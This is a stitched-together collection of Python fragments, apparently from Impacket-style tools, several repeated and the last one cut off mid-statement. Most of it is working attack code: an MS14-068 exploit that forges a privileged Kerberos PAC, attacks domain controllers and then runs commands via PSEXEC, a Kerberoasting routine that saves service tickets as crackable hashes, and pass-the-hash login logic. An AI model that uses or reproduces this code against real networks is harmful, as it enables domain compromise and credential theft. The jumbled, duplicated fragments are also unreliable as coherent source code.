def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: pass else: domain = self.__domain principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() module.log('Using TGT from cache', level='debug') return TGT else: module.log('No valid credentials found in cache', level='debug') # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(password), compute_nthash(password), self.__aesKey, kdcHost=self.__kdcHost) except Exception, e: module.log('Exception for getKerberosTGT', level='error') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost)
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if self.__domain == '': domain = ccache.principal.realm['data'] else: domain = self.__domain logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') return TGT else: logging.debug("No valid credentials found in cache. ") # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(self.__password), compute_nthash(self.__password), self.__aesKey, kdcHost=self.__kdcHost) except Exception as e: logging.debug('TGT: %s' % str(e)) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT
server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed if options.username is not None: # we either need a password or hashes, if not, ask if options.password is None and options.hashes is None: from getpass import getpass password = getpass("Password:") # Let's convert to hashes lmhash = compute_lmhash(password) nthash = compute_nthash(password) elif options.password is not None: lmhash = compute_lmhash(options.password) nthash = compute_nthash(options.password) else: lmhash, nthash = options.hashes.split(':') server.addCredential(options.username, 0, lmhash, nthash) # Here you can set a custom SMB challenge in hex format # If empty defaults to '4141414141414141' # (remember: must be 16 hex bytes long) # e.g. server.setSMBChallenge('12345678abcdef00') server.setSMBChallenge('')
def exploit(self): self.__domainSid, self.__rid = self.getUserSID() userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: raise else: raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode( str(pa['padata-value'])[2:], asn1Spec=ETYPE_INFO2_ENTRY())[0] enctype = etype2['etype'] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype, self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal( 'krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal( 'cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS( serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: raise else: raise
now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), ))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception, e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) plainText = cipher.decrypt(key, 3, str(cipherText))
comment = options.comment server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed if options.username is not None: # we either need a password or hashes, if not, ask if options.password is None and options.hashes is None: from getpass import getpass password = getpass("Password:") # Let's convert to hashes lmhash = compute_lmhash(password) nthash = compute_nthash(password) elif options.password is not None: lmhash = compute_lmhash(options.password) nthash = compute_nthash(options.password) else: lmhash, nthash = options.hashes.split(':') server.addCredential(options.username, 0, lmhash, nthash) # Here you can set a custom SMB challenge in hex format # If empty defaults to '4141414141414141' # (remember: must be 16 hex bytes long) # e.g. server.setSMBChallenge('12345678abcdef00') server.setSMBChallenge('')
def exploit(self): self.__domainSid, self.__rid = self.getUserSID() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: raise else: raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] enctype = etype2['etype'] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: raise else: raise
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants from impacket.ntlm import compute_lmhash, compute_nthash if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user=ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'cifs/%s@%s' % (self.getRemoteHost().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code()) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def enumSPNUsers(self): users_spn = {} user_tickets = {} userDomain = self.domuser.split('@')[1] idx = 0 for entry in self.spn: spn = json.loads(self.spn[idx].entry_to_json()) users_spn[self.splitJsonArr( spn['attributes'].get('name'))] = self.splitJsonArr( spn['attributes'].get('servicePrincipalName')) idx += 1 # Get TGT for the supplied user client = Principal(self.domuser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: # We need to take the domain from the user@domain since it *could* be a cross-domain user tgt, cipher, oldSession, newSession = getKerberosTGT( client, '', userDomain, compute_lmhash(self.passwd), compute_nthash(self.passwd), None, kdcHost=None) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = newSession for user, spns in users_spn.items(): if isinstance(spns, list): # We only really need one to get a ticket spn = spns[0] else: spn = spns try: # Get the TGS serverName = Principal( spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSession, newSession = getKerberosTGS( serverName, userDomain, None, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) # Decode the TGS decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Get different encryption types if decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format( constants.EncryptionTypes.rc4_hmac.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format( constants.EncryptionTypes. aes128_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format( constants.EncryptionTypes. aes256_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format( constants.EncryptionTypes.des_cbc_md5.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) user_tickets[spn] = entry except KerberosError: # For now continue # TODO: Maybe look deeper into issue here continue if len(user_tickets.keys()) > 0: with open('{0}-spn-tickets'.format(self.server), 'w') as f: for key, value in user_tickets.items(): f.write('{0}:{1}\n'.format(key, value)) if len(user_tickets.keys()) == 1: print('[ ' + colored('OK', 'yellow') + ' ] Got and wrote {0} ticket for Kerberoasting'. format(len(user_tickets.keys()))) else: print('[ ' + colored('OK', 'yellow') + ' ] Got and wrote {0} tickets for Kerberoasting'. format(len(user_tickets.keys()))) else: print('[ ' + colored('OK', 'green') + ' ] Got {0} tickets for Kerberoasting'.format( len(user_tickets.keys()))) except KerberosError as err: print('[ ' + colored('ERROR', 'red') + ' ] Kerberoasting failed with error: {0}'.format( err.getErrorString()[1])) pass
def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) # Yes.. this shouldn't happend but it's inherited from the past if aesKey is None: aesKey = '' if nthash == '': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != '': if len(aesKey) == 64: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and aesKey is '': supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise # This should be the PREAUTH_FAILED packet asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] salt = b'' encryptionTypesData = dict() for method in methods: if method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etypes2 = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO2())[0] for etype2 in etypes2: if etype2['salt'] is None: salt = '' else: salt = str(etype2['salt']) encryptionTypesData[etype2['etype']] = salt elif method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: etypes = decoder.decode(str(method['padata-value']), asn1Spec=ETYPE_INFO())[0] for etype in etypes: if etype['salt'] is None: salt = '' else: salt = str(etype['salt']) encryptionTypesData[etype['etype']] = salt enctype = supportedCiphers[0] if enctype not in encryptionTypesData: raise Exception('No Encryption Data Available!') # Let's build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp['patimestamp'] = KerberosTime.to_asn1(now) timeStamp['pausec'] = now.microsecond # Encrypt the shyte cipher = _enctype_table[enctype] # Pass the hash/aes key :P if nthash != '': print('here1') key = Key(cipher.enctype, nthash) elif aesKey != '': print('here2') key = Key(cipher.enctype, unhexlify(aesKey)) else: print('here3') key = cipher.string_to_key(password, encryptionTypesData[enctype], None) encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = None asReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), ))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) from .crypto import bytify print('cypherText: {}'.format(repr(str(cipherText)))) plainText = cipher.decrypt(key, 3, bytes(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] # Get the session key and the ticket # We're assuming the cipher for this session key is the same # as the one we used before. # ToDo: change this sessionKey = Key(cipher.enctype, bytes(encASRepPart['key']['keyvalue'])) # ToDo: Check Nonces! return tgt, cipher, key, sessionKey
class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 